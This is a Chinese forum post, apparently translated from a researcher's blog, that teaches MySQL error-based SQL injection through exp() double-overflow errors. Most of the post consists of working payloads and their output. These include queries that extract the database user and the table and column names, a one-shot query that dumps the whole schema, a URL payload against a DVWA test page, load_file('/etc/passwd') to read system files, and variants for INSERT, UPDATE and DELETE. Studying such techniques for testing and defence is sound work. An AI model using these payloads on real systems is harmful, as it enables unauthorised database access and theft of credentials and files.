设为首页 收藏本站
查看: 1262|回复: 0

[经验分享] 使用exp进行SQL报错注入

[复制链接]

尚未签到

发表于 2018-10-22 11:29:17 | 显示全部楼层 |阅读模式
  0x01 前言概述
  好消息好消息~作者又在MySQL中发现了一个Double型数据溢出。如果你想了解利用溢出来注出数据,你可以读一下作者之前发的博文:BIGINT Overflow Error based injections,drops上面也有对应翻译,具体见这里。当我们拿到MySQL里的函数时,作者比较感兴趣的是其中的数学函数,它们也应该包含一些数据类型来保存数值。所以作者就跑去测试看哪些函数会出现溢出错误。然后作者发现,当传递一个大于709的值时,函数exp()就会引起一个溢出错误。
DSC0000.jpg

  mysql> select exp(709);
  +-----------------------+
  | exp(709)              |
  +-----------------------+
  | 8.218407461554972e307 |
  +-----------------------+
  1 row in set (0.00 sec)
  mysql> select exp(710);
  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
  在MySQL中,exp与ln和log的功能相反,简单介绍下,就是log和ln都返回以e为底数的对数,见等式:
DSC0001.jpg DSC0002.jpg   mysql> select log(15);
  +------------------+
  | log(15)          |
  +------------------+
  | 2.70805020110221 |
  +------------------+
  1 row in set (0.00 sec)
  mysql> select ln(15);
  +------------------+
  | ln(15)           |
  +------------------+
  | 2.70805020110221 |
  +------------------+
  1 row in set (0.00 sec)
  指数函数为对数函数的反函数,exp()即为以e为底的对数函数,如等式:
DSC0003.jpg mysql> select exp(2.70805020110221);  
+-----------------------+
  
| exp(2.70805020110221) |
  
+-----------------------+
  
|                    15 |
  
+-----------------------+
  
1 row in set (0.00 sec)
  0x02 注入
  当涉及到注入时,我们使用否定查询来造成“DOUBLE value is out of range”的错误。作者之前的博文提到的,将0按位取反就会返回“18446744073709551615”,再加上函数成功执行后返回0的缘故,我们将成功执行的函数取反就会得到最大的无符号BIGINT值。
  mysql> select ~0;
  +----------------------+
  | ~0                   |
  +----------------------+
  | 18446744073709551615 |
  +----------------------+
  1 row in set (0.00 sec)
  mysql> select ~(select version());
  +----------------------+
  | ~(select version())  |
  +----------------------+
  | 18446744073709551610 |
  +----------------------+
  1 row in set, 1 warning (0.00 sec)
  我们通过子查询与按位求反,造成一个DOUBLE overflow error,并借由此注出数据。
>`exp(~(select*from(select user())x))`       mysql> select exp(~(select*from(select user())x));      ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'  0x03 注出数据
  得到表名:
select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));  得到列名:
select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));  检索数据:
select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));  0x04 一蹴而就
  这个查询可以从当前的上下文中dump出所有的tables与columns。我们也可以dump出所有的数据库,但由于我们是通过一个错误进行提取,它会返回很少的结果。
exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))   http://localhost/dvwa/vulnerabilities/sqli/?id=1' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))-- -&Submit=Submit# DSC0004.jpg   0x05 读取文件
  你可以通过load_file()函数来读取文件,但作者发现有13行的限制,该语句也可以在BIGINT overflow injections中使用。
select exp(~(select*from(select load_file('/etc/passwd'))a)); DSC0005.jpg   注意,你无法写文件,因为这个错入写入的只是0。
mysql> select exp(~(select*from(select 'hello')a)) into outfile 'C:/out.txt';  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'hello' from dual)))'       # type C:\out.txt  0  0x06 Injection in Insert
  按部就班就好
mysql> insert into users (id, username, password) values (2, '' ^ exp(~(select*from(select user())x)), 'Eyre');  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'  对于所有的insert,update和delete语句DIOS查询也同样可以使用。
mysql> insert into users (id, username, password) values (2, '' | exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)), 'Eyre');  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000  newdb::users::id  newdb::users::username  newdb::users::password' from dual)))'  0x07 Injection in Update
mysql> update users set password='Peter' ^ exp(~(select*from(select user())x)) where id=4;  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'  0x08 Injection in Delete
mysql> delete from users where id='1' | exp(~(select*from(select user())x));  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'  和前面的BIGINT注入一样,exp注入也适用于MySQL5.5.5及以上版本。以前的版本对于此情况则是“一言不发”。
mysql> select version();  +---------------------+  | version()           |  +---------------------+  | 5.0.45-community-nt |  +---------------------+  1 row in set (0.00 sec)     mysql> select exp(710);  +----------+  | exp(710) |  +----------+  |   1.#INF |  +----------+  1 row in set (0.00 sec)     mysql> select exp(~0);  +---------+  | exp(~0) |  +---------+  |  1.#INF |  +---------+  1 row in set (0.00 sec)  可能还有其他的函数会产生这种报错呦。(有待你发现啦:)



运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-624927-1-1.html 上篇帖子: Highcost SQL 下篇帖子: zabbix监控环境的搭建(server端)
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表